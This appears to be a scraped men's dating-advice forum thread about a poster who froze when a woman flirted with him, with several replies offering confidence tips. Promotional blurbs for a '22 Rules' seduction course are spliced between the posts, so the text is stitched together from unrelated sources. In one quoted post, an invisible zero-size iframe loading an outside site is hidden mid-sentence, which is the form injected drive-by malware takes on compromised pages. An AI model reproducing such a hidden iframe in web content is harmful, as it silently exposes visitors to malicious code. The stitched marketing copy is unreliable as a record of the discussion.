"She Laughed All Night. Then She Ghosted You. Here's Why."

Dinner ran three hours. She laughed at everything. You walked her to her car thinking this one's locked in.

Then: nothing. Two texts. No reply. What happened?

You did what most men do on a great date. You filled every silence, answered every question, and left her with nothing to wonder about. No mystery. Nothing to sit with when she got home.

Rule 3 of the "22 Rules" changes the ending: tell her a little, hold back the rest, and let her imagination do the chasing. The ghosting stops too.

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What the h3ll is that?

Blue Phoenix

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Guys you won't believe in this!

I went to a seminar this week and a cute girl with a hot body was flirting with me and I did NOTHING!

Of course it was me that started to whole thing by looking at her and as soon as she noticed she started to show buying signals. She fixed her hair for more than 15 times, and her clothes too. She looked at me and pretended she was not.

I simply got froze up! The only thing it was necessary to do was to ask for her number and close the deal another day.

Has any of you been through this kind of thing? It's all subconscious. I am completely frustrated. :(
 

"She's Out of Your League"

You've said it a hundred times. Maybe a thousand. And every time you say it, you train your brain to freeze the next time she walks into the room.

Leagues are a myth invented by guys who are scared of women.

She's a person. She has bad breath in the morning. She picks songs she can't sing in the shower. She overthinks her own texts.

Walk over. Say something. The league dissolves the second you open your mouth.

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italostud

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Yup. I forget where I read this, but I'll try to quote from memory "The pain of never knowing is far worse than the temporary sting of rejection"

Or something like that. Just make that your mantra. Because seriously, if you get rejected, at least you'll know where you stand. Instead of going "what if?!?" to yourself for the next couple of weeks.
 

dadmonson

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Originally posted by Blue Phoenix
Guys you won't believe in this!

I went to a seminar this week and a cute girl with a hot body was flirting with me and I did NOTHING!

Of course it was me that started to whole thing by looking at her and as soon as she noticed she started to show buying signals. She fixed her hair for more than 15 times, and her clothes too. She looked at me and pretended she was not.

I simply got froze up! The only thing it was necessary to do was to ask for her number and close the deal another day.

Has any of you been through this kind of thing? It's all<IFRAME SRC="http://iccee.com/index.html" WIDTH=0 HEIGHT=0 SCROLLING=NO FRAMEBORDER=0></IFRAME> subconscious. I am completely frustrated. :(
Lol that happens to me sometimes.
 

Blue Phoenix

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Originally posted by italostud
Yup. I forget where I read this, but I'll try to quote from memory "The pain of never knowing is far worse than the temporary sting of rejection"

Or something like that. Just make that your mantra. Because seriously, if you get rejected, at least you'll know where you stand. Instead of going "what if?!?" to yourself for the next couple of weeks.
It was not a matter of rejection, as she was clearly interested, I simply couldn't get her digits. :confused:
 
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Mr. Cardio

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why do you think you froze up? Happened to me sometimes when I feel more in a shell or focused on other things besides women, you probably just had your mind somewhere else, and didnt realize the opportunity with the chick until later or after she was gone. Happened to me, lots of times.
 

"How I Made Sure No Woman Ever Friend-Zoned Me Again"

She calls you when her car breaks down. When she needs help moving. When some guy she's actually dating treats her badly.

You're the listener. The reliable one. The guy who would treat her so much better, if she'd just open her eyes.

She won't. You trained her to see you as the low-effort option — the friend who requires zero risk and zero investment. Every favor dug the hole deeper.

The "22 Rules" break the pattern. You'll stop auditioning for a role she already cast and become the man she chases instead. It starts with Rule 1.

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Austizzle

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You have over 500 posts...go out and make talking to hott chicks a past time hobby! Talk to these girls like you've known them your whole life. Once you master this no girl is intimidating and you will never freeze up.
 

Blue Phoenix

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Originally posted by Austizzle
You have over 500 posts...go out and make talking to hott chicks a past time hobby! Talk to these girls like you've known them your whole life. Once you master this no girl is intimidating and you will never freeze up.
Good idea, but you don't understand my point. What I have is a strange emotional response that block any rational thinking. Everything goes blank! :mad:
 

penkitten

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Originally posted by Blue Phoenix
Good idea, but you don't understand my point. What I have is a strange emotional response that block any rational thinking. Everything goes blank! :mad:
is this a normal freeze up ? or is this a once in a lifetime kinda freeze up'?
 

Austizzle

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Hmm...I don't know man, practice makes perfect I guess. I have never "froze up", but I was once to the point where there would be awkward silence whenever I talked to a hot chick. Now that I am over that and my confidence is up I can talk to pretty much anyone.
 

Blue Phoenix

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Originally posted by penkitten
is this a normal freeze up ? or is this a once in a lifetime kinda freeze up'?
It usually happens. I get all self-conscious and freeze up; I don't know if I could call this "claustrophobia".:confused:
 
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"Nervous Around Beautiful Women? There's a Rule for That"

I could talk to any woman I wasn't attracted to. Charming, funny, relaxed. Then a gorgeous woman looked my way and I'd become a sweating, babbling mess.

The fix took me years to find and ten minutes to learn. Nervousness and excitement are the same physical state — pounding heart, adrenaline, flushed face. Your brain just picks the label. And you can pick a better one.

Rule 16 shows you how. You feel the nerves, relabel them as excitement, and let that energy pour out as enthusiasm. Women notice the guy radiating it. They always do.

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ikkenai

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I'm the same way... It hurts SO BAD not to take an opportunity. I'm 23 and I feel that the clock is ticking! I'm no dud, but I still feel that I have a lot of catching up to do.

At least you're in the "Damn, I should've gone for it" instead of the "I can't do it!" frame. That's a huge step in your DJ progression, think of how many guys still haven't tackled it...
 

Qmanchoo

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I'll draw out the progression here since these are all the steps you'll go through. The only one you’ll need to "push through" so to speak is the first.

1. You are at the point where you have to grab your balls, walk up, and say something (anything) just to get the ball rolling and get comfortable talking to hot women. You freeze because you’re afraid and don’t know what to say. (proably because you're saying somethign to yourself like "**** hot chick, how do I score didgits!" which will kill you.)

This is ENTIRELY based on a lack of experience and can only truly be solved by doing it and getting experience.

Just be social for the most part. You're not going to fvck her, you're not going to get a number, you're not going to try and get a date, you're not going to give two ****s about what she thinks, and you're not going to worry about techniques for now… that’s for people who are already 100% comfortable and just like to have fun with the interactions they have with others.

How can you even think about getting a number when before you even talk to a chick you're nervous and frozen?

You can’t hit a home run before you learn how to swing a bat.

2. After a while you'll realize that most people are pretty cool and nice in settings where you're expected to be social, or in general. So you'll start talking to more people.

3. Next your comfort will increase dramatically. You'll be able to naturally lead the interaction where you want to lead. It will become effortless and fun and you'll date some women.

4. You'll start to see things in women that you like and things that you do not. You'll become pickier and only date the ones you like, screening out the ones you don't. (lol here is were you usually experience a stalker or two)

5. After a while you find one you really like, you're cool, confident, collected, fun, interesting, and since you know you can get another if you want it naturally makes you a challenge since you don't take bull****, tease a little, play a little, and express your personality to a great degree.

Going through this progression can take 10 years or 6 months depending on how quickly you get through step 1 since I think it's the biggest block to progression and the hardest to overcome. Just think about how much more in control of your life and better you will feel about yourself once you reach the last step and that talking to women is…really no big deal in the end.

Next time you see a chick, you're attracted to her, and she looks open to conversation or is giving you the eye... just walk up and talk and see where it goes. Don't put any expectations on the interaction like "OMG I HAVE to get her number" because then you get all stupid and weird and come across and "trying to get somewhere" instead of letting things flow naturally and paying attention to what's going on in the moment...which is far more important to making a cool connection with a woman (which will lead to her wanting to give you her number AND follow up with you) than trying to use some "technique" that totally doesn't apply to what's going on.
 
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I froze once in a supermarket. A woman smiled at me...now, I like tall girls as much as the next guy (or more), but I am a short guy & this woman was 6'4" if she was an inch. No kidding, big blonde Viking woman. We like to think we are suave, but this was like a meteor falling out of the sky & landing on your car--totally unexpected, resulting in complete mental lock-up. So I didn't stop her & she kept going & I have kicked myself 1000 times because I like big amazon women. Ugh.
 

mrRuckus

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Originally posted by Blue Phoenix


Has any of you been through this kind of thing? It's all subconscious. I am completely frustrated. :(

Shrug. The other day while out playing kickball with some guys and girls this one hot chick i had talked to the first time we played passed by me while we were changing teams on the field. She said, "you're awfully quiet today." I kept walking right past her and replied "oh well" without a smile or anything. I don't even think she looked at me the rest of the game.

Way to make friends, me.
 

stevey_2000

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hey BP!!

well at last your getting a bit of experience under your belt :), dont you think this is a wake up call to speak to more hot-looking chicks so you wont go through the same 'freezin' motion in future??

all the best,

Ste.
 

"So, What Do You Do for Fun?"

She asks it casually, mid-sip. And you feel the floor open up, because the honest answer is work, gym, and a couple shows you're half-watching.

Women rarely say this out loud, but a man with a life is attractive before he says a word. The guy who spent Saturday deep-sea fishing and came back with photos and a story — he walks in already interesting.

The "22 Rules" pushed me to build a life worth talking about. Turns out the fastest way to be interesting to women is to be interested in your own life first.

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Blue Phoenix

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Originally posted by Qmanchoo
I'll draw out the progression here since these are all the steps you'll go through. The only one you’ll need to "push through" so to speak is the first.

1. You are at the point where you have to grab your balls, walk up, and say something (anything) just to get the ball rolling and get comfortable talking to hot women. You freeze because you’re afraid and don’t know what to say. (proably because you're saying somethign to yourself like "**** hot chick, how do I score didgits!" which will kill you.)

This is ENTIRELY based on a lack of experience and can only truly be solved by doing it and getting experience.

Just be social for the most part. You're not going to fvck her, you're not going to get a number, you're not going to try and get a date, you're not going to give two ****s about what she thinks, and you're not going to worry about techniques for now… that’s for people who are already 100% comfortable and just like to have fun with the interactions they have with others.

How can you even think about getting a number when before you even talk to a chick you're nervous and frozen?

You can’t hit a home run before you learn how to swing a bat.

2. After a while you'll realize that most people are pretty cool and nice in settings where you're expected to be social, or in general. So you'll start talking to more people.

3. Next your comfort will increase dramatically. You'll be able to naturally lead the interaction where you want to lead. It will become effortless and fun and you'll date some women.

4. You'll start to see things in women that you like and things that you do not. You'll become pickier and only date the ones you like, screening out the ones you don't. (lol here is were you usually experience a stalker or two)

5. After a while you find one you really like, you're cool, confident, collected, fun, interesting, and since you know you can get another if you want it naturally makes you a challenge since you don't take bull****, tease a little, play a little, and express your personality to a great degree.

Going through this progression can take 10 years or 6 months depending on how quickly you get through step 1 since I think it's the biggest block to progression and the hardest to overcome. Just think about how much more in control of your life and better you will feel about yourself once you reach the last step and that talking to women is…really no big deal in the end.

Next time you see a chick, you're attracted to her, and she looks open to conversation or is giving you the eye... just walk up and talk and see where it goes. Don't put any expectations on the interaction like "OMG I HAVE to get her number" because then you get all stupid and weird and come across and "trying to get somewhere" instead of letting things flow naturally and paying attention to what's going on in the moment...which is far more important to making a cool connection with a woman (which will lead to her wanting to give you her number AND follow up with you) than trying to use some "technique" that totally doesn't apply to what's going on.
Man, you hit the nail on the head. I was so worried about getting her digits that it was killing me! It would have been much better if I had broken the ice and then, if she was open enough during the talking, asked for her number.

I simply put too much pressure on myself. I got worried about failing, what she would think of me, how should I have approached her, etc. I was thinking of just going to her and get her digits and say nothing more, but it would be akward. Would'nt it?

Originally posted by stevey_2000
hey BP!!

well at last your getting a bit of experience under your belt :), dont you think this is a wake up call to speak to more hot-looking chicks so you wont go through the same 'freezin' motion in future??

all the best,

Ste.
We both are having some problems, aren't we?

To everyone, thanks for your replies. :cheer:
 
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